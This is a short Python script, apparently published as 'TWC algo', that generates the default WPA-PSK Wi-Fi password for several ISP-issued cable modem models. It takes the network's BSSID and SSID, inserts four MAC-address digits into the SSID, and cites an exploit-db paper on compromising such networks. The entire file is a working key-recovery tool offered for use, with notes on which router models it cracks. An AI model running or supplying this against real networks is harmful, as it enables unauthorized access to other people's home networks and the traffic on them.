TWC algo

TWC.py

#!/usr/bin/python
import sys

if len(sys.argv) != 3 or len(sys.argv[1]) not in [12,17]:
    print 'TWC WPA-PSK generator (c) 2015, 2017 v0.2 by Alex Stanev <alex@stanev.org>'
    print 'Usage: '+sys.argv[0]+' [BSSID] [SSID]'
    exit(1)

# SSIDs
# Taken from https://www.exploit-db.com/docs/english/38082-compromising-isp-issued-802.11-wireless-cable-modem-networks-for-profit.pdf

# Works with DG860A, TG862G, TC8717T
# NOT working DDW3611, U10C022, DWG875, SBG6580, DDW365, DVW3201B, TG852G
ssid = ['TG852G',
        'DDW3611',
        'U10C022',
        'DG860A',
        'TG862G',
        'DWG875',
        'SBG6580',
        'DDW365',
        'DVW3201B',
        'TC8717T']

# Cleanup
bssid = sys.argv[1].replace(':', '')
bssid = bssid.replace('-', '')
bssid = bssid.upper()
if len(bssid) != 12:
    print 'Short BSSID'
    exit(2)

ss = None
for s in ssid:
	if sys.argv[2].startswith(s) and len(sys.argv[2]) == len(s) + 2:
		ss = sys.argv[2].upper()
		break

if ss == None:
	print 'Unsupported SSID'
	exit(2)

# Calculate PSK
print ss[:len(ss)-2]  + bssid[6:10] + ss[-2:]

exit(0)